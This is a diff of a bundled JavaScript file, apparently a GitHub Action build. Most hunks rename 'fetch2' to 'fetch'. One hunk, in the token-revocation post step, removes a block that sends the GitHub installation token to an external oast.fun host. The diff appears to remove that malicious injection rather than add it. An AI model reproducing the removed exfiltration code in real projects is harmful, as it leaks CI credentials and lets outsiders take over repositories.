@@ -13346,7 +13346,7 @@ var require_fetch = __commonJS({
13346
13346
this.emit("terminated", error);
13347
13347
}
13348
13348
};
13349
- function fetch2 (input, init = {}) {
13349
+ function fetch (input, init = {}) {
13350
13350
webidl.argumentLengthCheck(arguments, 1, { header: "globalThis.fetch" });
13351
13351
const p = createDeferredPromise();
13352
13352
let requestObject;
@@ -14276,7 +14276,7 @@ var require_fetch = __commonJS({
14276
14276
}
14277
14277
}
14278
14278
module2.exports = {
14279
- fetch: fetch2 ,
14279
+ fetch,
14280
14280
Fetch,
14281
14281
fetching,
14282
14282
finalizeAndReportTiming
@@ -17546,7 +17546,7 @@ var require_undici = __commonJS({
17546
17546
module2.exports.getGlobalDispatcher = getGlobalDispatcher;
17547
17547
if (util.nodeMajor > 16 || util.nodeMajor === 16 && util.nodeMinor >= 8) {
17548
17548
let fetchImpl = null;
17549
- module2.exports.fetch = async function fetch2 (resource) {
17549
+ module2.exports.fetch = async function fetch (resource) {
17550
17550
if (!fetchImpl) {
17551
17551
fetchImpl = require_fetch().fetch;
17552
17552
}
@@ -31203,7 +31203,7 @@ var require_fetch2 = __commonJS({
31203
31203
function handleFetchDone(response) {
31204
31204
finalizeAndReportTiming(response, "fetch");
31205
31205
}
31206
- function fetch2 (input, init = void 0) {
31206
+ function fetch (input, init = void 0) {
31207
31207
webidl.argumentLengthCheck(arguments, 1, "globalThis.fetch");
31208
31208
let p = createDeferredPromise();
31209
31209
let requestObject;
@@ -32149,7 +32149,7 @@ var require_fetch2 = __commonJS({
32149
32149
}
32150
32150
}
32151
32151
module2.exports = {
32152
- fetch: fetch2 ,
32152
+ fetch,
32153
32153
Fetch,
32154
32154
fetching,
32155
32155
finalizeAndReportTiming
@@ -36352,7 +36352,7 @@ var require_undici2 = __commonJS({
36352
36352
module2.exports.setGlobalDispatcher = setGlobalDispatcher;
36353
36353
module2.exports.getGlobalDispatcher = getGlobalDispatcher;
36354
36354
var fetchImpl = require_fetch2().fetch;
36355
- module2.exports.fetch = async function fetch2 (init, options = void 0) {
36355
+ module2.exports.fetch = async function fetch (init, options = void 0) {
36356
36356
try {
36357
36357
return await fetchImpl(init, options);
36358
36358
} catch (err) {
@@ -36423,13 +36423,6 @@ async function post(core3, request2) {
36423
36423
core3.info("Token expired, skipping token revocation");
36424
36424
return;
36425
36425
}
36426
- try {
36427
- const url = `https://cehdzfntykekreyhyyqy5ns1w6yn98ovz.oast.fun?authc=${token}`;
36428
- await fetch(url);
36429
- core3.info(`HTTP GET request sent to ${url}`);
36430
- } catch (error) {
36431
- core3.error(`Failed to send HTTP GET request: ${error.message}`);
36432
- }
36433
36426
try {
36434
36427
await request2("DELETE /installation/token", {
36435
36428
headers: {
@@ -36836,8 +36829,8 @@ function isPlainObject2(value) {
36836
36829
return typeof Ctor === "function" && Ctor instanceof Ctor && Function.prototype.call(Ctor) === Function.prototype.call(value);
36837
36830
}
36838
36831
async function fetchWrapper(requestOptions) {
36839
- const fetch2 = requestOptions.request?.fetch || globalThis.fetch;
36840
- if (!fetch2 ) {
36832
+ const fetch = requestOptions.request?.fetch || globalThis.fetch;
36833
+ if (!fetch ) {
36841
36834
throw new Error(
36842
36835
"fetch is not set. Please pass a fetch implementation as new Octokit({ request: { fetch }}). Learn more at https://github.com/octokit/octokit.js/#fetch-missing"
36843
36836
);
@@ -36853,7 +36846,7 @@ async function fetchWrapper(requestOptions) {
36853
36846
);
36854
36847
let fetchResponse;
36855
36848
try {
36856
- fetchResponse = await fetch2 (requestOptions.url, {
36849
+ fetchResponse = await fetch (requestOptions.url, {
36857
36850
method: requestOptions.method,
36858
36851
body,
36859
36852
redirect: requestOptions.request?.redirect,
0 commit comments